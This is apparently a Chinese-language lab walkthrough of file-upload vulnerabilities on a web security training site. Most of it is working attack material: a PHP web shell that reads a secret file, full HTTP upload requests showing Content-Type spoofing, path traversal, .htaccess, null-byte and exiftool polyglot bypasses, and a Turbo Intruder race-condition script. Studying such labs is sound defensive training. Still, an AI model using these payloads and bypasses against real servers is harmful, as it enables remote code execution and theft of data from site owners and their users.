上傳漏洞是指 Web 伺服器允許使用者在未充分驗證檔案名稱、類型、內容或大小等資訊的情況下將檔案上傳到其檔案系統。如果未能正確執行這些安全驗證,可能意味著即使是基本的圖像上傳功能也可以用來上傳任意且具有潛在危險的檔案,像是發動RCE功能,讓伺服器執行攻擊者上傳的惡意腳本。
以下是一個基本的攻擊方式,上傳惡意腳本,目標是執行代碼讀取secret內容
首先建立exploit.php如下
<?php echo file_get_contents('/home/carlos/secret'); ?>
到個人專區使用頭象功能上傳exploit.php後,送出請求看上傳到什麼位置
######### request ###########
GET /my-account?id=wiener
######### responsee ###########
...omit...
<p> <img src="/files/avatars/exploit.php" class=avatar> </p>
...omit...
確認位置後訪問/files/avatars/exploit.php,惡意代碼執行後成功返回/home/carlos/secret的內容
######### request ###########
GET /files/avatars/exploit.php HTTP/1.1
######### responsee ###########
...omit...
owRf1LMZqjXqxfgH2SGY8i6KmvJ7uCp4
...omit...
Lab: Remote code execution via web shell upload
饒過保護機制
大部份的檔案上傳功能都有做基本保護,常見的饒過方式有
- 饒過Content-Type保護
- 饒過目錄限制保護
- 利用htaccess饒過保護
- 利用%00饒過保護
- 利用條件競速饒過保護
饒過Content-Type保護
有時候會因為Content-Type保護而無法上傳惡意代碼,只要在上傳時指定Content-Type: image/jpeg
,就能饒過Content-Type保護,如下
POST /my-account/avatar HTTP/1.1
...omit...
------WebKitFormBoundaryp3oyrc7qYoR2AN9X
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>
Lab: Web shell upload via Content-Type restriction bypass
饒過目錄限制保護
攻擊者上傳檔案的位置,服務器可能己限制該位置無法訪問存取, 因此需要上傳到不同的目錄測試看看。
例如原本的位置/files/avatars/exploit.php
無法存取,但只要把位置換成 /files/avatars/../exploit.php
就能執行
如下,上傳時把原本的檔名exploit.php
改為..%2fexploit.php
######### request ###########
POST /my-account/avatar HTTP/1.1
Host: 0a2300d303d8d2fac02ef8be007000eb.web-security-academy.net
...omit...
------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryPdYhK7VJfJQ8LRA7
Content-Disposition: form-data; name="csrf"
Kx9hxWw3KQX5cZct0IanSzb8mWfbMSDH
------WebKitFormBoundaryPdYhK7VJfJQ8LRA7--
######### responsee ###########
HTTP/1.1 200 OK
...omit...
The file avatars/../exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
返回結果時可以發現位置變成avatars/../exploit.php
,
只要從這個位置就能執行剛上傳的惡意代碼,如下
######### request ###########
GET /files/avatars/..%2fexploit.php HTTP/1.1
..omit...
######### responsee ###########
...omit...
cY9ns2luFeOcCohVRPee5jaU0lA4NcIo
Lab: Web shell upload via path traversal
利用htaccess饒過保護
如果目標服務器使用限制副檔名的方式禁用.php的檔案,可以嘗試先將.htaccess
上傳,該檔案內容如下
AddType application/x-httpd-php php5
接著在把exploit.php
改為exploit.php5
上傳,如果成功饒過就能執行剛上傳的惡意代碼
Lab: Web shell upload via extension blacklist bypass
利用%00饒過保護
如果目標服務器使用限制副檔名的方式禁用.php的檔案,可以嘗試%00.jpg
例如將原本的exploit.php
改名為exploit.php%00.jpg
在上傳,如下
######### request ###########
POST /my-account/avatar HTTP/1.1
...omit...
------WebKitFormBoundaryTERgKQlLAnrqsB9K
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
...omit...
######### responsee ###########
...omit...
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
可以返回結果發現檔名又變回exploit.php
Lab: Web shell upload via obfuscated file extension
利用polyglot饒過保護
如果目標服務器禁止上傳php檔案,可以嘗試polyglot
準備一個圖檔,例如dessert.jpg,接著在透過exiftool
工具建立一個PHP/JPG檔,如下
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" dessert.jpg -o polyglot.php
將新產生的polyglot.php上傳,如果目標服務支持該方法,則可執行剛上傳的惡意代碼
Lab: Remote code execution via polyglot web shell upload
利用條件競速饒過保護
假如上傳功能的代碼如下,可以發現檔案上傳後,才會執行checkFileType。換句話說,如果在檢查前就立刻訪問剛上傳的檔案也是可行的
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) { // servere will check file by checkFileType
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
}else{
...omit...
因此攻擊者必須要在上傳惡意代碼後立刻執行,才可以提前在checkFileType前完成攻擊
可以透過burpsuite/repeater
的group send功能,將以下2個請求傳送給目標
group的第一個請求要上傳exploit.php
,group的第二個請求要訪問/files/avatars/exploit.php
######### request 1 ###########
POST /my-account/avatar HTTP/1.1
...omit...
------WebKitFormBoundary6AbLEn8kWARqcr5J
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary6AbLEn8kWARqcr5J
...omit...
######### request 2 ###########
GET /files/avatars/exploit.php HTTP/1.1
...omit...
也可以透過burpsuite/turbo intruder
功能,快速傳送2個請求,代碼如下
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''
POST /my-account/avatar HTTP/1.1
Host: 0adb006003a60f93c016dafa00c400c8.web-security-academy.net
Cookie: session=tUY73RWMyz9mVc5qvhALwRnLR9f0yUqX
Content-Length: 478
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6AbLEn8kWARqcr5J
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundary6AbLEn8kWARqcr5J
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary6AbLEn8kWARqcr5J
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary6AbLEn8kWARqcr5J
Content-Disposition: form-data; name="csrf"
UnwQ3Vrq6oQtNgnijOnPNLsbLB3vmvML
------WebKitFormBoundary6AbLEn8kWARqcr5J--
'''
request2 = '''
GET /files/avatars/exploit.php HTTP/1.1
Host: 0adb006003a60f93c016dafa00c400c8.web-security-academy.net
Cookie: session=tUY73RWMyz9mVc5qvhALwRnLR9f0yUqX
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0adb006003a60f93c016dafa00c400c8.web-security-academy.net/my-account/avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Lab: Web shell upload via race condition